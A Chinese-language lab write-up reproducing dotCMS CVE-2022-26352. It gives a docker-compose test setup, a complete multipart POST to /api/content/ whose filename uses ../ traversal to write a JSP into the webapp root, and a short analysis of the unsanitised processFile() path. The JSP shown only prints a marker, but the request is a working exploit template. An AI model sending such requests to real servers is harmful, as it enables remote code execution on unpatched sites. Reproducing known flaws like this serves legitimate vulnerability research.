漏洞简介
当文件通过内容 API 上传到 dotCMS 时,但在它们成为内容之前,dotCMS 会将文件写入临时目录。在此漏洞的情况下,dotCMS 不会清理通过多部分请求标头传入的文件名,因此不会清理临时文件的名称。这允许特制请求通过在 dotCMS 临时目录之外写入的 ContentResource (POST /api/content) 将文件发布到 dotCMS。在此漏洞利用的情况下,攻击者可以将特殊的 .jsp 文件上传到 dotCMS 的 webapp/ROOT 目录,从而允许远程代码执行。
受影响的DotCMS版本:
DotCMS < 22.03
DotCMS < 21.06.7_lts
DotCMS < 5.3.8.10_lts
环境搭建
还是利用 docker 来搭建漏洞环境 docker-compose 文件如下
version: '3.5'
networks:
db_net:
es_net:
volumes:
cms-shared:
dbdata:
esdata:
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.9.1
environment:
- cluster.name=elastic-cluster
- discovery.type=single-node
- data
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xmx1G "
ports:
- 9200:9200
- 9600:9600
volumes:
- esdata
networks:
- es_net
dotcms:
image: dotcms/dotcms:22.02
environment:
"CATALINA_OPTS": '-Xmx1g '
"DB_BASE_URL": "jdbc:postgresql://db/dotcms"
"DB_USERNAME": 'dotcmsdbuser'
"DB_PASSWORD": 'password'
"DOT_ES_AUTH_BASIC_PASSWORD": 'admin'
"DOT_ES_ENDPOINTS": 'http://elasticsearch:9200'
"DOT_INITIAL_ADMIN_PASSWORD": 'admin'
#"CUSTOM_STARTER_URL": 'https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/20211201/starter-20211201.zip'
depends_on:
- elasticsearch
- db
volumes:
- cms-shared
#- {license_local_path}/license.zip:/data/shared/assets/license.zip
networks:
- db_net
- es_net
ports:
- "8080:8080"
- "8443:8443"
db:
image: postgres:13
command: postgres -c 'max_connections=400' -c 'shared_buffers=128MB'
environment:
"POSTGRES_USER": 'dotcmsdbuser'
"POSTGRES_PASSWORD": 'password'
"POSTGRES_DB": 'dotcms'
volumes:
- dbdata
networks:
- db_net
docker-compose up -d 启动项目
漏洞复现
构建数据包
POST /api/content/ HTTP/1.1
Host: 127.0.0.1:8443
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF46M8wB78dBl0AMd
Content-Length: 287
------WebKitFormBoundaryF46M8wB78dBl0AMd
Content-Disposition: form-data;name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/test.jsp"
Content-Type: text/plain
<%
out.println("CVE-2022-26352");
%>
------WebKitFormBoundaryF46M8wB78dBl0AMd--
成功在项目根目录下生成文件 test.jsp
简单分析
private Response multipartPUTandPOST()
在处理 POST 请求时,是根据上传文件的类型来进行不同的处理,当类型为文本时就会调用 processFile() 来处理
private void processFile()
processFile
在函数中未经处理就将文件名直接拼接到拷贝文件的路径中,通过 ../ 实现跨目录的上传